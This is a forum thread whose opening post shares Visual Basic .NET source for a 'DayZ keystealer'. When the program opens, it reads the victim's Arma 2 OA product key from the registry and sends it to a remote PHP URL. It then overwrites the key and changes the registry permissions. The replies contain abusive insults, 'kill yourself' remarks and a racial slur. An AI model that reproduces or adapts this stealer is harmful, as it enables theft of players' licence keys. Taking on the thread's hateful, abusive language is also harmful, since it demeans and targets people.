Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
source for a dayz keystealer
#1
vb class:
Code:
Imports Microsoft.Win32
Imports System.Security.Principal
Imports System.Security.AccessControl
Imports System.Net
Public Class Form1
   Private Function SetKey() As String
       Dim identifier1 As SecurityIdentifier
       Dim key1 As RegistryKey
       Dim security1 As RegistrySecurity
       Dim str1 As String
       Dim str2 As String
       key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)
       If key1.Equals(Nothing) Then
           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
           End If
           Return Me.SetKey64()
       End If
       identifier1 = New SecurityIdentifier(1, Nothing)
       str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()
       security1 = New RegistrySecurity()
       security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))
       security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))
       key1.SetValue("KEY", "0000000000000000")
       key1.SetAccessControl(security1)
   End Function
   Private Function SetKey64() As String
       Dim identifier1 As SecurityIdentifier
       Dim key1 As RegistryKey
       Dim security1 As RegistrySecurity
       Dim str1 As String
       Dim str2 As String
       key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)
       If key1.Equals(Nothing) Then
           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
           End If
           Return "Error"
       End If
       identifier1 = New SecurityIdentifier(1, Nothing)
       str1 = TryCast(identifier1.Translate(GetType(NTAccount)), NTAccount).ToString()
       security1 = New RegistrySecurity()
       security1.AddAccessRule(New RegistryAccessRule(str1, 131097, 0, 0, 0))
       security1.AddAccessRule(New RegistryAccessRule(str1, 458758, 0, 0, 1))
       key1.SetValue("KEY", "0000000000000000")
       key1.SetAccessControl(security1)
   End Function
   Private Function GetKey() As String
       Dim key1 As RegistryKey
       Dim str1 As String
       key1 = Registry.LocalMachine.OpenSubKey("Software\Bohemia Interactive Studio\Arma 2 OA", True)
       If key1.Equals(Nothing) Then
           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "KEY") Then
           End If
           Return Me.GetKey64()
       End If
       Return BitConverter.ToString(DirectCast(key1.GetValue("KEY"), Byte()))
   End Function
   Private Function GetKey64() As String
       Dim key1 As RegistryKey
       Dim str1 As String
       key1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Wow6432Node\Bohemia Interactive Studio\ArmA 2 OA", True)
       If key1.Equals(Nothing) Then
           If Not Enumerable.Contains(Of String)(key1.GetValueNames(), "Key") Then
           End If
           Return "Error"
       End If
       Return BitConverter.ToString(DirectCast(key1.GetValue("Key"), Byte()))
   End Function
   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       Dim request1 As WebRequest
       request1 = WebRequest.Create(((("http://cock.in/my/mouth/pleasestealmykey.php?key=" & "Key:" & Me.GetKey()))))
       request1.GetResponse()
       Me.SetKey()
   End Sub
End Class
php class:
Code:
no fuck off this requires no effort, kill yourself
once upon a time, people on youtube spread their unobfuscated keystealers, and the knight of camelot set upon these foes with his legendary dotnet resolver
i also made a stub builder a keystealing panel ages ago, that project has forever been lost in /tmp
lillix@jabber.se
now go away
ty
Reply
#2
>/tmp
>.NET, Windows
get out
[Image: 7rL6Nl0.png]
Reply
#3
(12-17-2014, 07:36 PM)zooty Wrote:  >/tmp
>.NET, Windows
get out

i installed microsoft directx in /dev
lillix@jabber.se
now go away
ty
Reply
#4
(12-18-2014, 03:11 AM)lillix Wrote:  
(12-17-2014, 07:36 PM)zooty Wrote:  >/tmp
>.NET, Windows
get out

i installed microsoft directx in /dev

stop
you're giving me ebola

also that's not even what dev is for; how did you even  Saddest
[Image: 7rL6Nl0.png]
Reply
#5
if u use linux fucking kill ur dumb nigger self
Reply
 


Forum Jump:


Users browsing this thread: 1 Guest(s)

About The Bytecode Club

We're a community focused on Reverse Engineering, we try to target Java/Android but we also include other langauges/platforms. We pride ourselves in supporting and free and open sourced applications.

Website